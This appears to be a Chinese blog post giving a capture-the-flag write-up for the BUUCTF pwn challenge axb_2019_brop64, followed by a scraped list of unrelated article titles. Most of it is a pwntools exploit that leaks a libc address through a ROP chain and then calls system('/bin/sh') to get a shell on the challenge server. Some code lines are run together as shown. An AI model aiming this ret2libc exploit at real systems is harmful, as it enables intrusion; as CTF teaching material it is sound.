[BUUCTF-pwn]——axb_2019_brop64

利用这里leek地址, 找到libc基地址进而找到system, binsh,构造rop链

exploit

from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn',26212)
#p = process('./axb_2019_brop64')
elf = ELF('./axb_2019_brop64')
context.log_level = 'debug'
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.symbols['main']
pop_rdi = 0x0000000000400963
#gdb.attach(p)payload = "If there is a chance,I won't make any mistake!\n\x00" + 'a' * (0xd0+8 - 48) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendafter('Please tell me:', payload)
p.recvline()
puts_addr = u64(p.recv(6).ljust(8,'\x00'))log.success("puts_addr -----> :" + hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
info("libc_base -----> " + hex(libc_base))
sys_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
payload = "If there is a chance,I won't make any mistake!\n\x00" + 'a' * (0xd0+8 - 48) + p64(pop_rdi) + p64(binsh) + p64(sys_addr) + p64(main)
p.sendafter('Please tell me:', payload)
p.interactive()

[BUUCTF-pwn]——axb_2019_brop64相关推荐

  1. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  10. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. java.lang.IllegalArgumentException: No view found for id 0x7f07005f (xx) for for fragment xxFragment
  2. Bash功能与使用技巧
  3. Linux修改UTF8字符编码
  4. 讲一点分布式的基础知识,图解!
  5. vc mysql_vc6.0连接mysql数据库
  6. struts2.1.6出现at com.opensymphony.xwork2.util.FileManager$FileRevision.needsReloading
  7. -bash-4.1问题
  8. python内置类型和类_python – 内置类型和用户定义之间的不一致
  9. Java GC 原理
  10. jsp、servlet、tomcat中都设置了编码为UTF-8,依然报错:java.io.CharConversionException: Not an ISO 8859-1 character:
  11. 「Leetcode」142.环形链表II:环找到了,那入口呢?
  12. Glide 4.x之ModelLoader简单分析
  13. 系统安全中主要风险有哪些,弱密码怎么解决?
  14. spring boot + gateway + nacos 网关统一代理
  15. 微信小程序商城(微店)系统部署及搭建 电商类
  16. 首个6G白皮书发布,6G长啥样?
  17. 靶机13 VEGETA: 1
  18. 【Android休眠】之PowerKey唤醒源实现
  19. 04-ET框架的事件系统
  20. 施乐服务器显示exited,富士施乐故障维修代码.docx

热门文章

  1. Java Web开发小结
  2. 64. Minimum Path Sum 最小路径和
  3. 机器人写诗项目——数据预处理
  4. 2018年第九届省赛C/C++A组第4题——第几个幸运数
  5. 《算法竞赛入门经典》习题4-2 正方形 (Squares,ACM,ICPC World Finals 1990,UVa201)——仅提供大体方法
  6. 【嵌入式】Libmodbus之RTU模式Slave端程序示例
  7. 两个sql交集_数据库(sql)关键字
  8. 大林算法计算机控制实验报告,大林算法
  9. adroid 如何测试端口号_多进程启动设备和appium实现自动化测试
  10. 每天一道LeetCode-----在给定数组中找到一个子数组,使得这个子数组的元素乘积最大